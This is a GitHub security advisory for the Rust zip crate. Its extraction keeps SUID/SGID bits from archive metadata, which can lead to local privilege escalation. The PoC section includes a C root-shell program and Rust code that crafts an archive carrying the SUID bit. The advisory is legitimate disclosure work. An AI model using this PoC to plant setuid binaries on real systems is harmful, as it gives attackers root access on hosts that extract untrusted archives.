Skip to main content
Menu
Advisories

Insecure Preservation of SUID/SGID Bits during ZIP Extraction Leading to Potential Privilege Escalation

GHSA-VV5M-JXXH-4627Published Updated GitHub

Description

The zip crate preserves privileged Unix permission bits (SUID, SGID, and sticky bits) from ZIP external_attributes during extraction, instead of masking them to safe permission bits. If a privileged process (for example, root in an installer, CI/CD pipeline, or container build) extracts an attacker-controlled ZIP archive using ZipArchive::extract() or the stream extraction API, files can be created as setuid-root or setgid. This behavior allows the creation of SUID/SGID files during extraction, which can lead to local privilege escalation depending on the execution environment.

Details

The extraction path applies raw mode bits from the archive metadata without any filtering:

  • In src/types.rs, unix_mode() returns self.external_attributes >> 16 directly, passing through SUID/SGID bits.
  • In src/read.rs, ZipArchive::extract() retrieves this mode and later calls std::fs::set_permissions() with it.
  • In src/read/stream.rs, the extraction path also directly calls fs::set_permissions(fs::Permissions::from_mode(mode)) with no filtering.

This creates a dangerous asymmetry in behavior:

  • The write-side API (src/write.rs, unix_permissions) safely masks permissions with & 0o777.
  • The read/extract side does not apply any mask.

This behavior has been successfully reproduced in dynamic testing with the crate across different versions, including 2.4.2 and 8.5.1.

PoC

To reproduce this vulnerability, an attacker can craft a ZIP file that contains a payload with the SUID bit set in its external_attributes.

1. Create a dummy executable (/tmp/suid_check) to be packed into the ZIP:

// poc.c
#include <stdio.h>
#include <unistd.h>
int main(void) {
    setreuid(0, 0);
    setregid(0, 0);
    printf("LPE: uid=%d euid=%d gid=%d egid=%d\n", getuid(), geteuid(), getgid(), getegid());

    char *args[] = {"/bin/sh", NULL};
    execv("/bin/sh", args);
    return 1;
} 

Compile it: gcc poc.c -o /tmp/suid_check

2. Run the following Rust program to generate the malicious ZIP and simulate extraction:

use std::fs;
use std::io::{Cursor, Write};
use std::os::unix::fs::PermissionsExt;
use std::path::Path;

fn main() {
    let zip_buf = make_zip();
    let out_dir = Path::new("/tmp/zip2-suid-extract");
    if out_dir.exists() {
        fs::remove_dir_all(out_dir).unwrap();
    }
    fs::create_dir_all(out_dir).unwrap();

    // Simulate extraction by a privileged process
    let reader = Cursor::new(zip_buf);
    let mut zip = zip::ZipArchive::new(reader).unwrap();
    zip.extract(out_dir).unwrap();

    let target = out_dir.join("suid_check");
    let meta = fs::metadata(&target).unwrap();
    let mode = meta.permissions().mode();

    println!("[*] extracted: {}", target.display());
    println!("[*] mode = 0o{:o}", mode);

    if mode & 0o4000 != 0 {
        println!("[+] VULNERABLE: SUID bit is set!");
    } else {
        println!("[-] SAFE: Bits got stripped.");
    }
}

fn make_zip() -> Vec<u8> {
    let cur = Cursor::new(Vec::new());
    let mut zip = zip::ZipWriter::new(cur);
    let opts = zip::write::SimpleFileOptions::default()
        .compression_method(zip::CompressionMethod::Stored)
        .unix_permissions(0o755);

    let bin = fs::read("/tmp/suid_check").unwrap();
    zip.start_file("suid_check", opts).unwrap();
    zip.write_all(&bin).unwrap();

    let mut buf = zip.finish().unwrap().into_inner();

    // Patch central directory to inject SUID bit (0o104755)
    let sig = [0x50, 0x4b, 0x01, 0x02];
    for i in 0..buf.len().saturating_sub(46) {
        if buf[i..i + 4] == sig {
            let off = i + 38;
            let mode: u32 = 0o104755; // regular file + suid + 755
            buf[off..off + 4].copy_from_slice(&(mode << 16).to_le_bytes());
            break;
        }
    }
    buf
} 

3. Verification: Running the Rust code demonstrates that the extracted binary retains the SUID bit (0o104755). If this extraction is performed by root, any local user could execute /tmp/zip2-suid-extract/suid_check to gain a root shell.

Impact

Type: Incorrect permission assignment / local privilege escalation primitive (CWE-732). Who is impacted: Any application or service using the zip crate to extract untrusted ZIP files, especially when the extraction process runs with elevated privileges (e.g., root or Admin equivalents). This includes:

  • Installers and package management workflows
  • CI/CD jobs running as root
  • Container and image build pipelines
  • Deployment and restore automation scripts

Security impact:

  • An attacker can plant executable files with SUID/SGID bits through archive metadata.
  • The extracted files will belong to the user who performed the extraction.
  • Upon privileged extraction, local users may execute those binaries with elevated privileges. (leading to full system compromise)
  • At a minimum, this is a high-risk privilege-boundary violation in the crate's extraction behavior.

Affected versions

References

GitHub · zip-rs/zip2